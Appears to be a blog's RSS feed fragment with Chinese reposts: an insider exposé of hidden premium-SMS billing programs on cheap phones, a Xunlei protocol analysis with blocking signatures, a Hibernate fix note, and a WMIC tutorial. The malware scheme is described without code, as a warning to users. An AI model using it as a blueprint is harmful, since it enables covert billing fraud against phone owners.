<img src ="http://www.blogjava.net/galaxyp/aggbug/259209.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2009-03-11 20:35 <a href="http://www.blogjava.net/galaxyp/archive/2009/03/11/259209.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>我说点山寨机的内幕(zt)</title><link>http://www.blogjava.net/galaxyp/archive/2009/03/09/258529.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Mon, 09 Mar 2009 01:15:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2009/03/09/258529.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/258529.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2009/03/09/258529.html#Feedback</comments><slash:comments>11</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/258529.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/258529.html</trackback:ping><description><![CDATA[我，算是一个资深SP从业人员。什么是SP呢？简单来说就是无线增值服务商。电视上什么发送XX到XX参加XX活动赢取XX奖品就是SP的服务之一。为了简单来说，SP就是跟电信运营商合作，电信运营商提供了一个扣费通道，由SP自由发挥。<br />
<br />
下面我要说的东西请大家注意，跟你或者你身边的人密切相关。<br />
<br />
初期的SP运用了很多见不得人的方式盈利。现在的SP做得大的用一种叫做内嵌的手段。具体操作流程如下：<br />
<br />
SP招一批MTK开发人员，写好程序--&gt;跟山寨手机厂商合作，把程序烧入到手机中-&gt;通过经销商销售到客户手中。<br />
<br />
客户使用山寨手机的后果就是，经常无缘无故没有话费了。嘿嘿这其中的猫腻就是SP找手机厂商烧进去的那个程序。此程序的功能就在用户不知情的情况下，悄悄
的向某个SP端口号发送订制短信，接着移动就扣你钱了。很多是用户完全不知情的情况。还有就是半提醒半欺骗的方式，手机里面有个比如交友乐园的菜单，你好
奇，点一下进去看看，这时，没任何提示就是给你点拨十次SP的业务，你20块没了.一般这些都有移动的收费提醒，但是，之前烧入的程序像木马一样，悄悄运
行着，发现移动的收费提醒，还没到用户界面显示，就给你删除掉了，用户没一点感觉。<br />
<br />
好说到移动或者联通扣了你的钱，接下来电信运营商就会每个月给SP结算，一般是28分成。接着SP拿到钱后就会跟山寨手机厂商分成（这也是山寨卖这么便宜
的一个原因，想不到最后你还是出了不少钱）。呵呵，深圳就有几家这样的SP一个月赚几千万(我就不点名了，免得被暗杀)，上海几家更大的公司。小公司更是
多如牛毛.<br />
<br />
后果:<br />
1:你手机的话费冲个不停<br />
2：程序要后台潜伏运行，你的手机耗电剧增<br />
3：开发程序的乱七八糟，你死机的可能大增<br />
4：富裕了一批幕后黑手<br />
<br />
另外，请大家注意，智能手机的软件别乱安装，那些软件同样可以达到开机自动启动。完成上述功能。(我以前就组织开发过这类软件，最终因道德问题，没有把这软件流向市场)不然你当了冤大头都不知道怎么回事.
<img src ="http://www.blogjava.net/galaxyp/aggbug/258529.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2009-03-09 09:15 <a href="http://www.blogjava.net/galaxyp/archive/2009/03/09/258529.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Eclipse RCP入门(zt)</title><link>http://www.blogjava.net/galaxyp/archive/2009/02/26/256816.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Thu, 26 Feb 2009 06:49:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2009/02/26/256816.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/256816.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2009/02/26/256816.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/256816.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/256816.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.as...&nbsp;&nbsp;<a href='http://www.blogjava.net/galaxyp/archive/2009/02/26/256816.html'>阅读全文</a><img src ="http://www.blogjava.net/galaxyp/aggbug/256816.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2009-02-26 14:49 <a href="http://www.blogjava.net/galaxyp/archive/2009/02/26/256816.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>迅雷协议的研究(ZT)</title><link>http://www.blogjava.net/galaxyp/archive/2008/12/12/245877.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Fri, 12 Dec 2008 03:16:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2008/12/12/245877.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/245877.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2008/12/12/245877.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/245877.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/245877.html</trackback:ping><description><![CDATA[<p><font face="Times New Roman"><strong>协议概述</strong></font><font face="Times New Roman">&nbsp;&nbsp;</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">迅雷是基于P2SP的一款下载软件，能够大大增强下载速度，可谓迅雷不及掩耳盗铃之势如破竹。</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">P2SP的道理不复杂，就是指：如果多个服务器上有某个相同的文件，当某个用户下载其中一个服务器上的这一文件时，迅雷会自动查找到另外的几个服务器，同时下载这一文件，达到提速的目的。<br />
<br />
<strong>&nbsp;&nbsp;&nbsp;&nbsp; 下载原理</strong></font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">还记得百度的mp3搜索么？你到mp3.baidu.com上搜索一个mp3，百度会给你列出她知道的所有服务器列表（这些服务器都是别人的），你可以在百度上点击该连接下载mp3，而不用登陆真正的服务器。</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">迅雷就是把这个过程自动化了，并且增加了判断文件唯一性的功能，画个图简单说明一下：</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">1．用户点击1.2.3.4上的QQ_1.exe文件的连接</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">2．用户客户机上的迅雷得到该文件的唯一的校验值。</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">3．迅雷自动向自己的资源服务器上搜索，查找到存放同一文件的其他的服务器列表</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">4．得到文件在该服务器上的目录和文件名（红色部分，有可能和原始连接中的文件名不相同），<a href="ftp://1.2.3.5/QQ_2.exe"><font color="#293d6b">ftp://1.2.3.5/QQ_2.exe</font></a>，<a href="http://u.discuz.net/home/link.php?url=http://1.2.3.6%2FQQ_3.exe"><font color="#293d6b">http://1.2.3.6/QQ_3.exe</font></a>，以及公网用户1.2.3.7有QQ.exe</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">5．迅雷自动向1.2.3.5和1.2.3.6上下载该文件的不同文件块，以达到加速下载的目的（紫色部分）。</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">6．用户向公网用户1.2.3.7发送一个UDP资源请求</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">7．1.2.3.7回应一个资源请求说：偶这儿有你要的文件</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">8．用户向公网用户1.2.3.7的3077端口发起请求，并传输数据。</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">9．下载完毕后，如果迅雷资源服务器上，该文件的服务器列表中没有目前用户点击下载的服务器1.2.3.4，则将这个新的服务器地址加入到该文件的服务器列表（蓝色部分）。</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">注：</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">1．上述过程中的6、7、8步骤中隐含了一个过程：判断用户是否是公网用户。</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">如果是公网用户，则该用户的IP地址和提供下载服务的端口也将记录在迅雷的资源服务器中，后续用户可以从该用户处下载；第三节有这个过程的说明。</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">2．迅雷如何区分不同的文件？很多文件名字不同但是内容相同，很多文件名字相同但是内容不同。搜索迅雷的相关信息只是得到了几句无关痛痒的废话：迅雷还使用了独创的文件校验机制,保证了用户下载文件的正确性和完整。至于什么方法不得而知</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">3．我们如何查看迅雷搜索到的资源列表？</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">在迅雷搜索到一系列的资源列表并且任务没有完成时，会在相同下载目录下建立一个临时文件，里面有搜索到的资源信息，其中peer就是搜索到的包含要下载文件的公网用户。<br />
<br />
<br />
<strong>协议解析</strong></font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">分析第二节原理图中的下载过程，第1、2、5步和正常的下载是一模一样的，我们无法根本无法区分。那好，我们就在3、4、6上做文章。</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">除了上述用户下载一个具体文件的过程的各个报文外，还有交换资源信息报文，用户和用户之间的文件块传输报文、判断用户是否是公网用户的报文等。</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">1．资源请求报文</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">每次迅雷都会向219.134.132.47的tcp端口3076发出资源请求，该地址是写死在迅雷软件中的，并非依靠DNS请求得到。</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">如果该地址不可用，则会切换到另外两个可替换的地址219.134.132.42、219.134.132.86。</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">Web迅雷则使用219.134.132.46。</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">过滤掉这个报文，那么迅雷客户端就无法完成资源请求，无法从多点下载。用TP过滤掉报文后迅雷只能从原始连接下载，如下图：</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">协议报文特征如下：</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">2．资源搜索回应报文</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">过滤掉这个报文，那么迅雷客户端就无法得到资源列表，无法从多点下载。</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">协议报文特征如下：</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">3．用户之间的文件传输（握手报文）</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">用户之间是可以传送文件块的，下面的报文就是传送文件块开始之前的握手报文，3077端口为客户端的监听端口，用来把本地的文件传输给别人。（如果3077不能用,会转到其他端口）.</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">4．用户之间资源信息交换报文</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">5．提交新的资源信息报文</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">6．连接NAT测试服务器报文</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">迅雷每过几分钟就会向statnat1.sandai.net发送NAT测试报文，也就是告诉迅雷的资源服务器，自己是否是公网IP.该报文由于无返回报文，所以猜想采用的办法是采用STUN的方法：</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">将本机的IP地址放在UDP的payload里，如果迅雷的服务器收到报文发现IP层的源地址和payload里的IP地址一致，那么就是公网地址，否则就是处于防火墙后面或者需要经NAT才能上公网。</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">协议报文如下：</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">注：</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">sandai.net是xunlei旗下的一个网站，很少单独抛头露面，多出现在迅雷软件检索关联信息、显示广告的DNS请求报文中。</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">4TP过滤</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">如果TP武断的对迅雷进行过滤，只需要设定一个traffic management，把目的地址为219.134.132.0/24网段，目的端口为3076的报文全部过滤就可以防止迅雷下载，但是有可能会误报。下面的规则更详细一点，可以减少误报。</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">1．针对用户向服务器资源请求报文和资源回应报文的过滤</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">由于迅雷的服务器IP地址比较容易更换，所以建议过滤的DV：</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">协议：tcp</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">源端口/目的端口：3076</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">开始的四个字节：0x29000000</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">2．针对用户之间的资源信息交互报文的过滤</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">协议UDP</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">端口3076</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">前四个字节0x32000000</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">3．针对用户之间的文件传输（握手报文）的过滤</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">协议tcp</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">源端口或者目的端口可以为3077、3078</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">前四个字节为0x29000000</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">4．提交新的资源信息的报文的过滤</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">协议TCP</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">目的端口3076</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">前四个字节0x29000000</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">5．针对连接NAT测试服务器的报文的过滤</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">协议UDP</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">目的端口3076</font></p>
<p style="text-indent: 2em;" align="left"><font face="Times New Roman">前四个字节0x00000101 </font></p>
<p><font face="Times New Roman"><strong>通讯方式</strong></font></p>
<p><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 迅雷支持Http连接、Ftp连接、MMS连接、RTSP连接以及其他代理模式。</font></p>
<p><font face="Times New Roman">　　迅雷查询和下载资源默认使用TCP
3076和3077端口，迅雷的雷区注册和登陆使用的是TCP 5200和6200端口。如果登陆端口TCP
6200、3076和3077端口都不通，就会自动跳转到Http的80端口登陆。（注：HTTP 80端口为上网浏览必须的端口。）</font></p>
<p><font face="Times New Roman"><strong>如何封堵迅雷？</strong></font></p>
<p><font face="Times New Roman">　　由于迅雷会自动进行端口转换，而且最重要的是迅雷可以走80端口，所以我们建议你采取以下方法进行控制：</font></p>
<p><font face="Times New Roman">　　1)封堵迅雷的服务器的IP和迅雷的主要下载站点和占用的端口</font></p>
<p><font face="Times New Roman">　　2)通过限制主机的链接数来控制迅雷的下载（但是无法限制迅雷从单点高速下载）</font></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3)在用<a href="http://u.discuz.net/home/link.php?url=http://www.grabsun.com%2F"><strong><font color="#0066ff">聚生网管</font></strong></a>封堵迅雷时，则可以选择P2P下载里面迅雷，除此之外，你还需要在禁止普通下载那里设置文件后缀名；如果你想完全控制迅雷的下载，还需要勾选上&#8220;禁止一且http&#8221;下载。<font face="Times New Roman">　　</font></p>
<p><font face="Times New Roman">总之，控制迅雷,禁止迅雷,限制迅雷,封堵迅雷,监控迅雷,控制迅雷,禁止迅雷,限制
迅雷,封堵迅雷,监控迅雷,禁迅雷,限迅雷,封迅雷,禁迅雷,限迅雷,封迅雷,迅雷端口,迅雷协议,迅雷服务器IP,如何控制迅雷,如何禁止迅雷,如何限
制迅雷,如何封堵迅雷,如何监控迅雷,如何管理迅雷等等这些功能，<a href="http://u.discuz.net/home/link.php?url=http://www.grabsun.com%2F"><strong><font color="#0066ff">聚生网管</font></strong></a>可以实现！</font></p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/245877.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2008-12-12 11:16 <a href="http://www.blogjava.net/galaxyp/archive/2008/12/12/245877.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Hibernate向Oracel插入sequence时，值变为科学计数的值</title><link>http://www.blogjava.net/galaxyp/archive/2008/11/30/243581.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Sun, 30 Nov 2008 14:21:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2008/11/30/243581.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/243581.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2008/11/30/243581.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/243581.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/243581.html</trackback:ping><description><![CDATA[<blockquote>简要说明一下，备忘。<br />
主键为long，用oracle的sequence生成，一切正确，<br />
但调用Session.save()存入表时变为科学计算法的值，如：1.64E124<br />
sequence用下面的方法建立：<br />
create sequence galaxyp increment by 1 start with 1;<br />
第一次运行值不可能大到要用科学计算法表示的地步，<br />
经过N种方法的排错，都不能解决，无意间发现另一个字段的数据类型为date，<br />
但在映射文件中确写成了timestamp，<br />
&lt;property name="startday" type="timestamp"/&gt;改为date，问题解决<br />
</blockquote>
<img src ="http://www.blogjava.net/galaxyp/aggbug/243581.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2008-11-30 22:21 <a href="http://www.blogjava.net/galaxyp/archive/2008/11/30/243581.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>wmic</title><link>http://www.blogjava.net/galaxyp/archive/2008/09/26/231285.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Fri, 26 Sep 2008 05:56:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2008/09/26/231285.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/231285.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2008/09/26/231285.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/231285.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/231285.html</trackback:ping><description><![CDATA[<h2 class="first">什么是WMIC？</h2>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WMIC扩展<a target="_blank" href="http://baike.baidu.com/view/442461.htm">WMI</a>（Windows
Management Instrumentation，Windows管理规范）
，提供了从命令行接口和批命令脚本执行系统管理的支持。在WMIC出现之前，如果要管理WMI系统，必须使用一些专门的WMI应用，例如SMS，或者使用
WMI的脚本编程API，或者使用象CIM Studio之类的工具。如果不熟悉<a target="_blank" href="http://baike.baidu.com/view/824.htm">C++</a>之类的编成语言或<a target="_blank" href="http://baike.baidu.com/view/24920.htm">VBScript</a>之类的脚本语言，或者不掌握WMI名称空间的基本知识，要用WMI管理系统是很困难的。WMIC改变了这种情况，为WMI名称空间提供了一个强大的、友好的命令行接口。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WMIC比WMI简单、直观得多，这主要是由于使用了别名（Alias）。别名机制获取用户在命令行上输入的一些简单命令，按照预定义的方式操作WMI名
称空间，例如根据一个简单的WMIC别名Get命令构造出一个复杂的WMI查询语言（WQL）命令。从这个意义上看，别名是用户和名称空间之间一个简化操
作的中间层。例如，如果在WMIC命令行上执行下面这个简单的WMIC命令，就可以获得用户帐户的基本信息：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <em>useraccount list brief</em><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在上面的命令中，Useraccount别名执行了一个Win32_Useraccount类的WQL查询，以文本的形式显示出从该类提取的信息。另
外，WMIC还以文本的形式显示出Win32_Useraccount类的属姓。除了文本形式的输出之外，WMIC还能够以其他形式返回命令执行结果，例
如XML、HTML或者CSV（逗号分隔的文本文件）。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WMIC以WMI模式中类的实例的形式保存别名。默认的别名类——MSFT_CliAlias，以及其他支持WMIC的类保存在模式的默认名称空间，或者
说root\cli角色。角色可以简单地看成专门用来支持WMIC的另一个WMI名称空间。默认角色root\cli连接到root\cimv2名称空
间，操作root\cimv2之内的类。虽然使用WMIC时一般不需要用到CIM Studio，但CIM
Studio可以用来方便地查看root\cli名称空间<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 你可以向root\cli名称空间和其他名称空间加入新的别名，还可以用Class和Path命令直接访问WMI名称空间，本文后面将详细说明Class和Path命令。<br />
<h2 class="">运行WMIC</h2>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 执行&#8220;wmic&#8221;命令启动WMIC命令行环境。这个命令可以在XP或 <a target="_blank" href="http://baike.baidu.com/view/4294.htm">.NET</a> Server的标准命令行解释器（cmd.exe）、Telnet会话或&#8220;运行&#8221;对话框中执行。这些启动方法可以在本地使用，也可以通过.NET Server终端服务会话使用。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 第一次执行WMIC命令时，Windows首先要安装WMIC，然后显示出WMIC的命令行提示符。在WMIC命令行提示符上，命令以交互的方式执行。例如，执行下面的命令将关闭正在运行的Outlook：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <em>process where name='outlook.exe' call terminate</em> <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 命令运行结束后，WMIC命令行提示符重新出现。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WMIC也可以按照非交互的模式运行。如果要执行某个单步的任务，或者运行批命令中的一系列WMIC命令，非交互模式就很有用。要使用非交互模式，只要在
同一个命令行上启动WMIC并输入要执行的命令就可以了。例如，执行cmd.exe打开一个命令行窗口，然后执行下面的命令，就可以输出连接到
MACHINE1的打印机清单：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wmic /node:MACHINE1 printer list status <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在这个例子中，第一个操作是启动WMIC，然后是根据/node参数建立一个到MACHINE1的远程连接，最后执行一个WMIC命令显示出打印机状态信息。命令运行结束后，返回到Windows命令行提示符状态。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
安装了WMIC的机器可以连接到任何一台安装了WMI的机器，被连接的机器不需要安装
WMIC。例如，从一台运行Win XP Pro的机器启动WMIC，可以连接和管理所有账行着XP、Win2K、Windows NT
4.0、Windows Me和Windows 9x的机器。<br />
<h2 class="">WMIC命令行构成</h2>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WMIC提供了大量的全局开关、别名、动词、命令和丰富的命令行帮助增强用户接口。全局开关是适用于整个WMIC会话的配置选项。例
如，/trace:on开关启用错误跟踪机制，如果这个开关处于打开状态，WMIC返回每一个命令的错误信息。利用/note开关可以访问远程机器，
/interactive:on开关要求WMIC在执行删除操作之前提示确认，其他的全局开关还包括/role、/user、/implevel以及
/namespace。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如前所述，别名是用户和WMI名称空间一个简化语法的中间层。当你指定一个别名时，动词（Verb）表示要执行的动作。例如，前面例子中的List和Call就是两个动词的例子。表一描述了其他一些WMIC动词，并为每一个动词给出了例子。 <br />
表一：WMIC动词 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 动词 例子 说明 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Assoc group where name= 'administrators' assoc 显示出Administrators组与系统的所有关联，包括Administrators组成员等。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
又如，os assoc显示出有关操作系统的信息和已经安装的补丁。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Create environment create name="progloc",
username="work01\User1",variablevalue= "%programfiles%\prog01"
创建一个名字为Progloc的变量，把它的值设置为Program
Files文件夹的一个子文件夹，把这个变量加入到Work01工作组计算机User1帐户。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Delete environment where(name= "progloc") delete 删除Progloc环境变量。测试WMIC命令时，为了防止意外地删除，可以使用/interactive:on全局开关，这时删除之前会要求确认。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Get partition get bootpartition, description, deviceid, bootable 返回分区是否可启动、描述信息和设备ID属姓等信息。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Set path WIN32_USERACCOUNT where(name="user01") set disabled="true" 在成员服务器或工作站上禁用User01用户帐户。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
命令用来控制对WMIC和WMI名称空间的访问。注意表一的最后一个例子，这个例子用的是
Path和Win32_USERACCOUNT类，而不是Useraccount别名。Path是一个直接访问WMI名称空间中实例的命令，不必再通过别
名访问。如果待执行的系统管理任务没有现成的别名可用，Path命令特别有用。虽然你可以用新的别名和角色扩展WMIC，但如果你对WMI名称空间比较熟
悉，使用Path命令也很方便。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
除了Path命令之外，WMIC还支持Class、Context、Quit和Exit命令。
Class命令用来直接访问WMI模式内的类或创建现有类的实例。Class命令和Path命令的不同之处在于，Path命令的作用对象是实例以及它的属
姓（例如，提取管理用的信息），而Class命令的作用对象是类的定义。例如，如果要提取出WIN32_SOFTWAREELEMENT类的所有属姓，可
以执行如下命令： <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; class WIN32_SOFTWAREELEMENT get <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个命令的输出是<a target="_blank" href="http://baike.baidu.com/view/692.htm">HTML</a>格式，稍后我们将了解如何用/output全局开关把输出重定向到可用浏览器打开的HTML文件。Class命令加上Assoc动词能够显示出类的名称空间路径以及其他与该类关联的类。利用Class命令可以删除类、创建类的实例，但不能创建类。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Context命令显示出全局开关的当前设置。Quit和Exit命令用来退出WMIC命令提示符环境，返回以前的Shell环境（例如Telnet环境，或XP的 命令行提示符环境）。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 命令行帮助是熟悉WMIC的有效途径。表二是在WMIC提示符下查找信息的常用命令： <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 表二：命令行帮助 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 命令 例子 说明 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /? 或 -? 显示所有全局开关和别名的语法 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; / /? /user /? 显示指定全局开关的信息 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /? class /? 显示某个命令的信息 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /? memcache /? 显示某个别名的信息 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /? temperature get /? 显示别名与动词组合的信息 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /?:Full irq get /?:Full 显示动词的帮助信息<br />
<h2 class="">实践应用</h2>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 以上我们了解了WMIC命令行环境的基础知识，下面来看看如何用批命令运行WMIC，以及把输出结果定向到控制台或HTML、XML文件。从批命令文件运
行WMIC的好处在于不需要重复输入一系列复杂的命令，例如，下面是一个批命令文件的内容，它的作用是显示出MACHINE1和MACHINE2这两台机
器的CPU信息，输出结果显示在控制台上。/format开关是面向动词的开关，而不是全局开关，它只用于Get和List动词。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <em>wmic /node:MACHINE1, MACHINE4 cpu get name, caption,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; maxclockspeed, systemname /format:textvaluelist.xsl <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </em>WMIC批命令可以使用变量。也就是说，对于上面的批命令，服务器的名字不仅可以直接
指定，而且还可以通过%1、%2的形式指定，下面就是一个例子。把下面的代码放入一个批命令文件，然后在执行批命令文件时加上一到二个机器的名字即可；另
外，也可以创建一个独立的文本文件，然后在文本文件中放入机器名字的清单，清单可以是<a target="_blank" href="http://baike.baidu.com/view/468993.htm">CSV</a>格式，或用换行符分隔的格式。如果使用独立的文本文件提供机器名字，只需在/node全局开关后面加上以@符号为前缀的文本文件名字，@符号告诉/node开关后面的参数是一个文件名字而不是机器名字。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; @echo off if "%1"==""<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto msg if "%2"==""<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto single wmic /node:%1, %2 cpu get name, caption, maxclockspeed, systemname<br />
